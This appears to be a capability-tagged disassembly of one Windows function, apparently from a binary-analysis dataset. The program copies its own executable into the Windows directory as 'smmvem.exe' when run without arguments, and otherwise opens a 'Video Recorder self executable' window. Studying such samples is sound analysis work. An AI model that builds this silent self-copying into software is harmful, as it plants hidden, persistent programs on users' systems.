Function at 0x4013a0
Capabilities:
Accept command line arguments
Copy file
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x114
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
push edi
je 0x4013c1
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x114
ret 0x10
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
cmp byte [eax], 0x22
jne 0x4013cd
inc eax
push eax
push 0x418440
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x418440
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
xor esi, esi
push 4
lea eax, [esi + 0x418440]
push str..exe
push eax
call fcn.00401360
add esp, 0xc
test eax, eax
jne 0x401409
cmp esi, edi
jge 0x401412
inc esi
jmp 0x4013e8
add esi, 4
mov byte [esi + 0x418440], bl
inc esi
xor ecx, ecx
mov byte [0x4182a0], bl
mov al, byte [esi + 0x418440]
cmp al, 0x22
je 0x401435
cmp al, bl
je 0x401435
mov byte [ecx + 0x4182a0], al
inc ecx
inc esi
cmp esi, edi
jle 0x40141b
mov byte [ecx + 0x4182a0], bl
mov ecx, dword [esp + 0x12c]
cmp byte [ecx], bl
jne 0x401495
lea edx, [esp + 0x58]
push 0x64
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x58]
lea ecx, [esp + 0xbc]
push eax
push str._smmvem.exe
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0xbc]
push ebx
push edx
push 0x418440
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.004010b0
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x114
ret 0x10
push ebx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov esi, eax
push 8
push esi
call edi
push 0xa
push esi
mov dword [0x41842c], eax
call edi
push esi
push ebx
mov dword [0x418430], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x80
mov dword [esp + 0x10], 0x30
mov esi, dword [esp + 0x128]
mov dword [esp + 0x14], 3
push esi
mov dword [esp + 0x1c], 0x402cf0
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push ebx
mov dword [esp + 0x2c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 1
mov dword [esp + 0x2c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], str.Video_Recorder_self_executable
mov dword [esp + 0x2c], eax
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x3c], ebx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push ebx
push esi
push ebx
push ebx
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Video_Recorder_self_executable
push str.Video_Recorder_self_executable
push ebx
mov dword [0x4184b0], esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
push 1
push esi
mov dword [0x418304], esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push ebx
push ebx
lea ecx, [esp + 0x44]
push ebx
push ecx
call esi
test eax, eax
je 0x4015bc
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebp
mov ebp, dword [sym.imp.USER32.dll_DispatchMessageA]
lea edx, [esp + 0x40]
push edx
call edi
lea eax, [esp + 0x40]
push eax
call ebp
push ebx
push ebx
lea ecx, [esp + 0x48]
push ebx
push ecx
call esi
test eax, eax
jne 0x40159f
pop ebp
mov eax, dword [esp + 0x44]
pop edi
pop esi
pop ebx
add esp, 0x114
ret 0x10